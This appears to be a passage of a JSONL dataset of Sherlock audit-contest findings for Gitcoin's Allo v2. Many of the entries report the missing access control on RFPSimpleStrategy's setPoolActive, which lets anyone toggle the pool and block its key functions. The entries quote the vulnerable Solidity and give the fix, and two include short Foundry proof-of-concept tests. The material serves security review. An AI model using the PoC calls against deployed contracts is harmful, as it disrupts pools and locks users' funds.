_setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219-L222\n\n## Impact\n\nThis security gap could be exploited to disrupt critical contract operations. Specifically, unauthenticated users could block the `withdrawal` and `distribution` processes, as both operations are permissible only when the `onlyInactivePool` condition is met. Similarly, `allocation` processes could be halted because they are only viable when the `onlyActivePool` condition is fulfilled.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219-L222\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd an `onlyPoolManager` modifier to the setPoolActive function, thereby ensuring that only the pool manager can invoke it.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/794.md"}} +{"title":"Unprotected external setPoolActive function allows anyone to manipulate the state of the pool","severity":"major","body":"Cold Lemon Weasel\n\nmedium\n\n# Unprotected external setPoolActive function allows anyone to manipulate the state of the pool\nThe fact that anyone can set the state of the pool to active or inactive allows an attacker to manipulate the state of any pool in order to be able to call functions in circumstances he shouldn't be able to. Even the inline comment says: \" 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.\"\n\n## Impact\nAnyone can manipulate the active state of any pool\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L216-L222\n\n```solidity\n /// @notice Toggle the status between active and inactive.\n /// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.\n /// @param _flag The flag to set the pool to active or inactive\n function setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd the onlyPoolManager modifier to the setPoolActive function.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/777.md"}} +{"title":"Missing `onlyPoolManager` on the `setPoolActive` function makes the contract vulnerable","severity":"major","body":"Stable Charcoal Bison\n\nhigh\n\n# Missing `onlyPoolManager` on the `setPoolActive` function makes the contract vulnerable\n\n`setPoolManager` is missing the `onlyPoolManager` modifier and can be called by anyone which allows DOS attacks on some functions and disruption on others. See the details below;\n\n## Vulnerability Detail\n\n## Code Snippet\n\n```solidity\n/// @notice Toggle the status between active and inactive.\n/// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.\n/// @param _flag The flag to set the pool to active or inactive\nfunction setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n}\n```\n\n[RFPSimpleStrategy.sol - Line 219](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219)\n\nThe `RFPSimpleStrategy` contract has the function `setPoolActive` which toggles the boolean `poolActive` value which is used to check whether the pool is active or not.\n\nAs we can read the `@dev` comment above it, it clearly says that the `msg.sender` must be `pool manager`.\n\n\"Screenshot\n\nAlso, we can verify this from the [Sequence Diagram](https://github.com/sherlock-audit/2023-09-Gitcoin-alymurtazamemon/tree/main/allo-v2/contracts/strategies/rfp-simple#sequence-diagram) that the caller should be the pool manager.\n\nThis simply demostrate that the `onlyPoolManager` modifier is missing here.\n\nLet's see the impact due to that I chose the `High` for this issue.\n\n## Impact\n\n1. Users submit a proposal to the RFP pool to register recipients through the `Allo` contract. The `Allo` contract calls this function `_registerRecipient` which contains the `onlyActivePool` modifier. It means an attacker can pause these proposals by unactivating the pool.\n\n```solidity\nfunction registerRecipient(uint256 _poolId, bytes memory _data) external payable nonReentrant returns (address) {\n // Return the recipientId (address) from the strategy\n return pools[_poolId].strategy.registerRecipient(_data, msg.sender);\n}\n```\n\n[Allo.sol - Lines 301 - 304](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L301-L304)\n\n```solidity\nfunction _registerRecipient(\n bytes memory _data,\n address _sender\n) internal override onlyActivePool returns (address recipientId) {\n```\n\n[RFPSimpleStrategy.sol - Line 314](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L314)\n\n2. `withdraw`, `_allocate`, and `_distribute` all function uses modifiers which depend on the `poolActive` value. Although these functions are controlled by the `pool manager`, but these calls can still be interrupted by an attacker.\n\n```solidity\nfunction withdraw(\n uint256 _amount\n) external onlyPoolManager(msg.sender) onlyInactivePool {\n```\n\n[RFPSimpleStrategy.sol - Line 295](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L295)\n\n```solidity\nfunction _allocate(\n bytes memory _data,\n address _sender\n ) internal virtual override nonReentrant onlyActivePool onlyPoolManager(_sender) {\n```\n\n[RFPSimpleStrategy.sol - Lines 386 - 393](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L386-L393)\n\n```solidity\nfunction _distribute(\n address[] memory,\n bytes memory,\n address _sender\n) internal virtual override onlyInactivePool onlyPoolManager(_sender) {\n```\n\n[RFPSimpleStrategy.sol - Lines 417 - 423](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417-L423)\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd the `onlyPoolManager` modifier on the `setPoolActive` function\n\n```diff\n- function setPoolActive(bool _flag) external {\n+ function setPoolActive(bool _flag) external onlyPoolManager {\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/748.md"}} +{"title":"Anyone can (de)activate the pool due to missing modifier","severity":"major","body":"Formal Wintergreen Mole\n\nhigh\n\n# Anyone can (de)activate the pool due to missing modifier\nModifier `onlyPoolManager(msg.sender)` is missing in:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219-L221\n## Vulnerability Detail\nAnyone can deactivate the pool leading to functions not being able to function since they check for one of the following:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L257-L265\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L276-L286\n## Impact\nProvided in Vulnerability Detail\n## Code Snippet\nProvided in Vulnerability Detail\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd the modifier","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/742.md"}} +{"title":"`setPoolActive` in `RFPSimpleStrategy.sol` can be called by anyone which can be used to DoS the whole strategy contract","severity":"major","body":"Cheery Cedar Gecko\n\nhigh\n\n# `setPoolActive` in `RFPSimpleStrategy.sol` can be called by anyone which can be used to DoS the whole strategy contract\nIt is stated in the comments that `setPoolActive` must only be called by the pool manager to close it, but there is no modifier or protection on the function, so it can be called by anyone to close or open it, all the time.\n## Vulnerability Detail\nAs can be seen here only the pool manager should be able to call `setPoolActive` and close the pool \nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L217\nbut no protection or modifier is on the function, the function is external and can be called by anyone\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219-L222 \nsetting the pool to active or inactive at any time, which can be used to DoS the whole contract block the funds.\n## Impact\nImpact is a high one since the function can be called any time to close the pool or open the pool right before any actions, which will DoS the whole system.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219-L222\n## Tool used\n\nManual Review\n\n## Recommendation\nUse a modifier on the function to check if the caller is the owner, don't let anyone call the function to close or open the pool as he wants.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/741.md"}} +{"title":"RFPSimpleStrategy#setPoolActive() can be called by anyone","severity":"major","body":"Helpful Bubblegum Spider\n\nhigh\n\n# RFPSimpleStrategy#setPoolActive() can be called by anyone\nThere is no restrictions on setPoolActive() which lets anyone call the function and deactivate the pool which can be used to grief the protocol.\n\n## Vulnerability Detail\nRFPSimpleSTrategy#setPoolActive()\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219\n```solidity\n function setPoolActive(bool _flag) external { // @audit anyone can deactivate the pool?\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\nthis function calls the inherited _setPoolActive() function from BaseStrategy:\n```solidity\n function _setPoolActive(bool _active) internal {\n poolActive = _active;\n emit PoolActive(_active);\n }\n```\n\n## Impact\nfunctions that depend on the pool being active or inactive can be frontrun by an attacker calling the setPoolActive function and changing the poolActive variable such that the call of the normal user would fail.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L74-L84\n```solidity\n modifier onlyActivePool() {\n _checkOnlyActivePool();\n _;\n }\n\n /// @notice Modifier to check if the pool is inactive.\n /// @dev Reverts if the pool is active.\n modifier onlyInactivePool() {\n _checkInactivePool();\n _;\n }\n```\n\nThe RFPSimpleStrategy functions that depend on these modifiers are:\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L317\n```solidity\n function _registerRecipient(bytes memory _data, address _sender)\n internal\n override\n onlyActivePool\n returns (address recipientId)\n {\n```\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L391\n```solidity\n function _allocate(bytes memory _data, address _sender)\n internal\n virtual\n override\n nonReentrant\n onlyActivePool\n onlyPoolManager(_sender)\n {\n```\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L295\n```solidity\n function withdraw(uint256 _amount) external onlyPoolManager(msg.sender) onlyInactivePool {\n```\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L421\n```solidity\n function _distribute(address[] memory, bytes memory, address _sender)\n internal\n virtual\n override\n onlyInactivePool\n onlyPoolManager(_sender)\n {\n```\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd onlyPoolManager() modifier to the setPoolActive() function","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/738.md"}} +{"title":"No access control mechanisim in Request for Proposal setPoolActive() function allowing attacker to disable pool","severity":"major","body":"Flat Seaweed Platypus\n\nhigh\n\n# No access control mechanisim in Request for Proposal setPoolActive() function allowing attacker to disable pool\nThe RFPSimpleStrategy.sol strategy lacks an access control modifier for the [`setPoolActive()`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219) function. \n\n## Vulnerability Detail\nIn the Request for Proposal simple strategy there is no [onlyPoolManager()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L67) access control modifier for the [`setPoolActive()`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219) function.\nThis leaves strategies vulnerable to being disabled by a malicious threat actor without much effort.\n\nIn order to reproduce:\n\n1. Attacker calls [`setPoolActive()`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219) function in RFPSimpleStrategy.sol with a value of false for the `bool _flag` function parameter. This will set an active strategy to inactive.\n\n## Impact\nThe main impact is that this allows any malicious actor to set the strategy to active or inactive, which adversely affects the [onlyActivePool()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L74) and [onlyInactivePool()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L81) modifiers. This impact can then cause the functions [withdraw()](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L295), [_allocate](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L386) and [_distribute](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417) to revert or function at the attackers will.\n\nThis leads locked user funds and an insolvent protocol.\n\n## Code Snippet\n function setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n\n## Tool used\nManual Review\n\n## Recommendation\nIt would be advised to add a modifier that checks if the msg.sender is a Pool Maanager for the Request for Proposal strategy.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/737.md"}} +{"title":"function 'setPoolActive' does not have access control in contract 'RFPSimpleStrategy.sol'","severity":"major","body":"Macho Slate Copperhead\n\nhigh\n\n# function 'setPoolActive' does not have access control in contract 'RFPSimpleStrategy.sol'\nfunction _**setPoolActive**_ toggles the status of the pool between active and inactive. This function should be restricted to the pool manager. \n\n## Vulnerability Detail\nfunction _**setPoolActive**_ can be invoked by anyone hence changing the status of the pool from active to inactive and vice versa.\n\n## Impact\nAny function with the modifier _**onlyActivePool**_ or _**onlyInactivePool**_ could be accessed/denied access by changing the status.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219-L222\n\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd _**onlyPoolManager**_ modifier to the function.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/732.md"}} +{"title":"Missing access modifier for the setPoolActive function.","severity":"major","body":"Rhythmic Rusty Swan\n\nhigh\n\n# Missing access modifier for the setPoolActive function.\n\nThe function ```setPoolActive()``` is an external function which should only be accessible by the pool manager to open and close the pool according to the docs. However, the ```onlyPoolManager``` modifier is missing.\n\n## Vulnerability Detail\nThis means that anyone can set the pool's active status to open or closed very easily.\n\n## Impact\nThis means all functions that require the pool to be active can stop working forever, if a bad actor wishes to keep closing the pool. This includes the ```_registerRecipient``` and ```_allocate``` functions to stop working in RFPSimpleStrategy.sol.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219-L220\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nSince the msg.sender must be a pool manager, adjust the function declaration from ```function setPoolActive(bool _flag) external```\nto ```function setPoolActive(bool _flag) external onlyPoolManager(msg.sender)```.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/730.md"}} +{"title":"`RFPSimpleStrategy::setPoolActive` is accessible by anyone","severity":"major","body":"Bumpy Charcoal Squid\n\nmedium\n\n# `RFPSimpleStrategy::setPoolActive` is accessible by anyone\n\n`RFPSimpleStrategy::setPoolActive` is missing `onlyPoolManager` access modifier which makes it accessible by anyone\n\n## Vulnerability Detail\n\n- In `RFPSimpleStrategy`: `setPoolActive` function is supposed to set the contract activity : either active (`poolActive`=true) or inactive (`poolActive`=false).\n\n- This can be done by calling `setPoolActive` function where it calls the `BaseStrategy` inherited `_setPoolActive` function:\n\n ```solidity\n function _setPoolActive(bool _active) internal {\n poolActive = _active;\n emit PoolActive(_active);\n }\n ```\n\n- Some functionalities in the contract are only accessible if the strategy contract is active; such as `_allocate` and `_registerRecipient`.\n\n## Impact\n\nAny malicious actor can deactivate the vital pool functionalities that are only accessible when the pool is active, as allocation and recipients registration.\n\n## Code Snippet\n\n[RFPSimpleStrategy::setPoolActive function](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219-L222)\n\n```solidity\n function setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\n\n[BaseStrategy::\\_setPoolActive function](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/BaseStrategy.sol#L276-L279)\n\n```solidity\n function _setPoolActive(bool _active) internal {\n poolActive = _active;\n emit PoolActive(_active);\n }\n```\n\n[BaseStrategy::\\onlyActivePool modifier](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/BaseStrategy.sol#L74-L77)\n\n```solidity\n modifier onlyActivePool() {\n _checkOnlyActivePool();\n _;\n }\n```\n\n[RFPSimpleStrategy::\\_registerRecipient function ](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L314-L319)\n\n```solidity\n function _registerRecipient(bytes memory _data, address _sender)\n internal\n override\n onlyActivePool\n returns (address recipientId)\n {\n```\n\n[RFPSimpleStrategy::\\_allocate function ](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L386-L393)\n\n```solidity\n function _allocate(bytes memory _data, address _sender)\n internal\n virtual\n override\n nonReentrant\n onlyActivePool\n onlyPoolManager(_sender)\n {\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd access modifier to enable only the pool manager from setting the pool activity:\n\n```diff\n- function setPoolActive(bool _flag) external {\n+ function setPoolActive(bool _flag) external onlyPoolManager(msg.sender) {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/725.md"}} +{"title":"M-03 Potential DoS due to missing access control on `setPoolActive` in the RFPSimplestrategy contract.","severity":"major","body":"Mammoth Aquamarine Wallaby\n\nmedium\n\n# M-03 Potential DoS due to missing access control on `setPoolActive` in the RFPSimplestrategy contract.\nThe missing access control on the `setPoolActive` can cause DoS of contract.\n## Impact\nAnyone can set to Pool to be active or inactive at any time allowing for DoS or function calls which should not be allowed.\n## Vulnerability Detail\nConfirmed with sponsor, there should be access control on the function. The duration of the attack may be continuous as there may be malicious MEV Bots that would front-run calls and switch the contract active status based on function selectors. This would effectively render all major functions of the contract unusable, eg. `register`,`allocate`, `withdraw` and `distribute` as they require certain active states in the contract.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L216-L222\n\n```solidity\n/// @notice Toggle the status between active and inactive.\n /// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.\n /// @param _flag The flag to set the pool to active or inactive\n function setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\n\n## PoC\nCopy/Paste this test function in the `RFPSimpleStrategy.t.sol` file in the `test/foundry/strategies/` directory:\n```solidity\nfunction test_setActivebyAnyone() public {\n RFPSimpleStrategy testStrategy = new RFPSimpleStrategy(address(allo()), \"RFPSimpleStrategy\");\n vm.startPrank(address(allo()));\n testStrategy.initialize(1337, abi.encode(maxBid, useRegistryAnchor, metadataRequired));\n console.log(\"[+] testStrategy is initialized\");\n console.log(\"[+] Current active status of testStrategy : \", testStrategy.isPoolActive());\n vm.stopPrank();\n vm.startPrank(address(9999999999999999999999));\n console.log(\"[+] Call the setPoolActive to false with: \");\n console.log(\" vm.startPrank of random addess address(9999999999999999999999)\");\n testStrategy.setPoolActive(false);\n vm.stopPrank();\n console.log(\"[+] Current active status of testStrategy : \", testStrategy.isPoolActive());\n\n }\n```\n## Output\n```text\nRunning 1 test for test/foundry/strategies/RFPSimpleStrategy.t.sol:RFPSimpleStrategyTest\n[PASS] test_setActivebyAnyone() (gas: 2535904)\nLogs:\n [+] testStrategy is initialized\n [+] Current active status of testStrategy : true\n [+] Call the setPoolActive to false with: \n vm.startPrank of random addess address(9999999999999999999999)\n [+] Current active status of testStrategy : false\n\nTest result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.21ms\n```\nRun forge test \n```text\nforge test --match-contract RFPSimpleStrategyTest --match-test test_setActivebyAnyone -vv\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd modifier to limit which callers can call the function and at which stages.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/717.md"}} +{"title":"Pool status can toggled by anyone .","severity":"major","body":"Suave Cider Seahorse\n\nhigh\n\n# Pool status can toggled by anyone .\nIn `RFPSimpleStrategy.sol` , Pool status defines if a pool is active or not . This dictates some functionalities of a pool like `withdraw` functionality , `_registerRecipient` functionality , `_allocate` functionality etc. However , the `function setPoolActive` lacks access control which lets anyone to change the status of pools using RFPSimpleStrategy . This is really alarming cause pools will malfunction in case the issue is exploited . \n\n## Vulnerability Detail\n```solidity \n function setPoolActive(bool _flag) external { //@ci M-02 : no access control noticed ?? \n _setPoolActive(_flag);\n emit PoolActive(_flag); //@q can pool activity continue after pool is closed ?? \n }\n```\n## Impact\nCertain functionalities will get DOS'ed of exploited pool . \n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219\n## Tool used\n\nManual Review\n\n## Recommendation\n Use `onlypoolmanager` modifier to implement proper access control .","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/710.md"}} +{"title":"Missing access control on RFPSimpleStrategy#setPoolActive","severity":"major","body":"Bright Midnight Chipmunk\n\nhigh\n\n# Missing access control on RFPSimpleStrategy#setPoolActive\n\nMissing access control on RFPSimpleStrategy#setPoolActive\n\n## Vulnerability Detail\n\n`RFPSimpleStrategy#setPoolActive` lacks an access control modifier, this would allow to arbitrary address to successfully call the function and make the pool inactive.\n\n## Impact\n\nAnyone could deactivate the pool.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219\n```solidity \nFile: RFPSimpleStrategy.sol\n219: function setPoolActive(bool _flag) external { \n220: _setPoolActive(_flag);\n221: emit PoolActive(_flag);\n222: }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider adding the `onlyPoolManager(msg.sender)` modifier for the `setPoolActive` function.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/696.md"}} +{"title":"setPoolActive() function of `RFPSimpleStrategy.sol` can be called by anyone","severity":"major","body":"Mini Garnet Squirrel\n\nmedium\n\n# setPoolActive() function of `RFPSimpleStrategy.sol` can be called by anyone\nThe `setPoolActive()` function in the `RFPSimpleStrategy.sol ` contract is vulnerable to unauthorized access, allowing any external address to call the function and change the pool's active status.\n\n## Vulnerability Detail\nThe vulnerability arises from the fact that the `setPoolActive()` function lacks proper access control. It does not enforce restrictions on who can call it, which means any external address can invoke this function, potentially causing unintended changes to the contract's state.\n\n## Impact\nThe impact of this vulnerability could be severe. Without proper access control, any external actor can toggle the pool's status, This vulnerability could disrupt the intended operation of the contract and result in financial losses or instability.\n\n## Code Snippet\n\n```solidity\n\nfunction setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n}\n```\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L216C1-L223C1\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAccess should be restricted to authorized pool managers or other trusted entities. You can achieve this by using the onlyPoolManager(msg.sender) modifier or similar access control mechanisms in the function.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/692.md"}} +{"title":"absence of modificator onlyPoolManager(msg.sender) in function _setPoolActive cause that function can be called by anyone, so anyone can close or open pool.","severity":"major","body":"Broad Aquamarine Pony\n\nhigh\n\n# absence of modificator onlyPoolManager(msg.sender) in function _setPoolActive cause that function can be called by anyone, so anyone can close or open pool.\n\nThis vulnerability is due to the absence of the `onlyPoolManager` modifier in the `setPoolActive` function. This function is used to toggle the status of the pool between active and inactive. Any address can call this function.\n\n## Vulnerability Detail\n\nWithout the `onlyPoolManager` modifier, any address can call this function and change the status of the pool. This could potentially allow malicious actors to disrupt the normal operation of the pool by arbitrarily closing or opening it. \nSince this function can be called by anyone, the protocol may be disrupted.\n\n## Impact\n\nAn attacker can interfere with the protocol by switching the pool state from active to inactive and vice versa. If the pool is not active and the attacker switches its state to active, it will prevent the `distribute` and `withdraw` functions from working. If the pool is active and an attacker switches it to a inactive state, this will prevent the `allocate` function from working. Constant state switching can make the protocol impossible to work and lead to significant time losses.\n\n## Code Snippet\n\n[function setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }](https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219C1-L222C1)\n\n## Tool used\n\nNone\n\n## Manual Review\n\nAny user can change the state of a pool from active to inactive and vice versa. \n\n## Recommendation\n\nA missing modifier 'onlyPoolManager' should be added to function `setPoolActive`.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/678.md"}} +{"title":"Anybody can set the pool status of the RFPSimpleStrstegy contract","severity":"major","body":"Passive Clay Cougar\n\nhigh\n\n# Anybody can set the pool status of the RFPSimpleStrstegy contract\n\nLack of permissions on `_setPoolActive` allows anybody to set the pool status to false which can prevent the `RFPSimplyStrategy` from accepting more proposals. \n\n## Vulnerability Detail\n\nThe `RFPSimpleStrategy` contract inherits the `_setPoolActive` function from the `BaseStrategy` contract. This allows the pool to determine whether it is currently accepting proposals or not through the `onlyActivePool` modifier however, even though the natspec states that `msg.sender` must be a pool manager to close the pool, anybody can call this function.\n\n## Impact\n\nA malicious user can manipulate the natural flow of the pool to prevent or keep accepting recipients as well as denying the selection of an RFP allocation whenever it seems profitable to them. \n\nThe following proof of concept can be inserted at the foot of RFPSimpleStrategy.t.sol which should revert but doesnā€™t: \n\n```solidity\n \t\taddress attacker = vm.addr(9);\n\n function testSetPoolStatus() public {\n\n vm.startPrank(attacker);\n strategy.setPoolActive(false);\n vm.stopPrank();\n \n }\n```\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L276-L279\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219-L222\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nItā€™s recommended that setPoolActive is guarded by a modifier or a check to ensure that the msg.sender is a pool 